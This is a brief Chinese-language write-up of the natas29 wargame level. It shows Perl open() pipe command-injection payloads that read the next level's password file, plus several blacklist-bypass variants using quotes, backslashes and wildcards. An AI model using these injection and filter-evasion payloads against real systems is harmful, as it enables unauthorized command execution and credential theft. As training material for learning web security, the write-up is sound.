natas29
 
perl underground,發現 URL 多出 index.pl?file=perl+underground,猜測後端是採用 Perl 語言
 
wfuzz 枚舉 payload,發現其中 %7Cid%3B (解碼為 |id;) 較為不同
 
?file=%7Cid%3B,觀察回傳推測存在 Command Injection
 
 
cat index.pl 查看後端程式碼,當請求的 file 不存在 natas 時,透過 open 開啟指定檔案
 
%7Ccat+/etc/*webpass/*30%3B 放進請求的 URL 中,成功獲得下題的登入密碼
 
natas 黑名單驗證的方法有很多,以下簡單列舉幾項
%7Ccat+/etc/n""atas_webpass/na""tas30%3B
%7Ccat+/etc/nata\s_webpass/n\atas30%3B
%7Ccat+/etc/na?as_webpass/na?as30%3B
* 代表任意數量的任意字元;? 代表不多於問號數量的任意字元open(FD, "$f.txt");,因為使用者輸入可以控制檔案名稱,當包含 | 時會將後續的字串當作指令執行,所以需要 ; (或者用 %00 空字元) 截斷 .txt
"By prefixing the filename with a pipe (|), the rest of it is interpreted as a command invocation, which accepts standard input by printing to the filehandle, and is executed after the filehandle is closed." - 4.3. open() for Command Execution